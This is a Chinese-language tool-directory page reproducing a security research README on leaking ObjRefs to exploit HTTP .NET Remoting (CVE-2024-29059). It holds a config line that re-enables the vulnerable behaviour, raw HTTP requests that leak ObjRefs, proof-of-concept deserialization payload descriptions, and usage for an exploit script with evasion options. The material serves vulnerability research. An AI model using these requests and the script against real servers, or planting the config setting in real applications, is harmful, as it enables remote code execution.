Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
HttpRemotingObjRefLeak — 用于通过 HTTP .NET Remoting 泄露和利用 ObjRefs 的附加资源(CVE-2024-29059) | Kitploit
工具/GitHubGitHub/codewhitesec/httpremotingobjrefleak
漏洞分析代码分析漏洞利用Web应用程序漏洞利用渗透测试红队Payload 开发
GitHubcodewhitesec/httpremotingobjrefleak

HttpRemotingObjRefLeak

用于通过 HTTP .NET Remoting 泄露和利用 ObjRefs 的附加资源(CVE-2024-29059)

查看仓库
9214152年前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
网站
分享

通过 HTTP .NET Remoting 泄露和利用 ObjRef(CVE-2024-29059)

本仓库进一步提供了关于 CODE WHITE 同名博文 Leaking ObjRefs to Exploit HTTP .NET Remoting 的详细信息和资源:

  1. 创建易受攻击的 ASP.NET Web 应用程序
  2. 检测 ObjRef 泄漏
  3. 在 TypeFilterLevel.Low 限制下可工作的示例反序列化载荷
  4. 用于投递载荷的利用脚本

1. 创建易受攻击的 ASP.NET Web 应用程序

以下内容基于 Microsoft 的《为 ASP.NET 网站配置 Application Insights》,描述了如何使用 Visual Studio 2019(需要定位 .NET Framework 4.5.2,你仍可从 https://aka.ms/vs/16/release/vs_community.exe 下载)和 Microsoft Application Insights 创建易受攻击的 ASP.NET Web 应用程序:

  1. 打开 Visual Studio 2019。
  2. 选择 文件 > 新建 > 项目。
  3. 选择 ASP.NET Web 应用程序 (.NET Framework) C#,然后点击 下一步。
  4. 选择 .NET Framework 4.5.2,然后点击 创建。
  5. 选择 空,然后点击 创建。
  6. 选择 项目 > 。
添加 Application Insights 遥测
  • 选择 Application Insights SDK (本地),然后点击 下一步。
  • 勾选 NuGet 包,然后点击 完成。
  • 如果已安装 2024 年 1 月 .NET Framework 更新,请打开 Web.config 文件并在 /configuration/appSettings 下添加以下内容,以重新启用易受攻击的行为:

    root@kitploit:~
    <add key="microsoft:Remoting:LateHttpHeaderParsing" value="true" />
    

    然后你可以通过 调试 > 开始执行(不调试) 或按 Ctrl+F5 运行 Web 应用程序。

    2. 检测 ObjRef 泄漏

    你可以使用以下请求来泄漏存储在 LogicalCallContext 中的 MarshalByRefObject 实例的 ObjRef:

    • BinaryServerFormatterSink:

      root@kitploit:~
      GET /RemoteApplicationMetadata.rem?wsdl HTTP/1.0
      __RequestVerb: POST
      Content-Type: application/octet-stream
      
    • SoapServerFormatterSink:

      root@kitploit:~
      GET /RemoteApplicationMetadata.rem?wsdl HTTP/1.0
      __RequestVerb: POST
      Content-Type: text/xml
      

    然后可以使用以下正则表达式匹配泄漏的 ObjRef URI:

    root@kitploit:~
    /[0-9a-f_]+/[0-9A-Za-z_+]+_\d+\.rem
    

    3. 示例反序列化载荷

    我们基于 YSoSerial.Net 的 TextFormattingRunProperties gadget 创建了两个简单的反序列化载荷,并搭配了自定义 XAML 载荷,这些载荷在 TypeFilterLevel.Low 造成的限制下可工作,以执行以下操作:

    • HttpContext.Current.Response.AddHeader("Set-Cookie", "x=ad92afb4-00c3-4479-bab8-2425b5716081")
    • HttpContext.Current.Response.RedirectLocation = "/ad92afb4-00c3-4479-bab8-2425b5716081"

    这些 HTTP 头部可在服务器对 HTTP .NET Remoting 请求的响应中观察到。

    4. 利用脚本

    RemoteApplicationMetadata.py 脚本提供了一种方式:先泄漏现有的 ObjRef,然后在后续请求中使用该 ObjRef 投递给定的载荷:

    root@kitploit:~
    用法:RemoteApplicationMetadata.py [-h] [-c] [--chunk-range CHUNK_RANGE] [-e] [-f {binary,soap}] [-u] [-v] url [file]
    
    位置参数:
      url                   目标 URL(不含 `RemoteApplicationMetadata.rem`)
      file                  BinaryFormatter/SoapFormatter 载荷文件(默认:标准输入)
    
    选项:
      -h, --help            显示此帮助信息并退出
      -c, --chunked         对请求使用分块传输编码
      --chunk-range CHUNK_RANGE
                            从中随机选择块大小的范围,例如 1-10
      -e, --encoding        对 SOAP 应用随机的非 ASCII 编码
      -f {binary,soap}, --format {binary,soap}
                            目标运行时序列化格式(默认:soap)
      -u, --use-generic-uri 在载荷投递请求中也使用通用的 `RemoteApplicationMetadata.rem`
      -v, --verbose         打印详细信息
    

    示例:

    root@kitploit:~
    ./RemoteApplicationMetadata.py -f binary https://127.0.0.1:44365 AddHeader.bin -u -v
    
    下载工具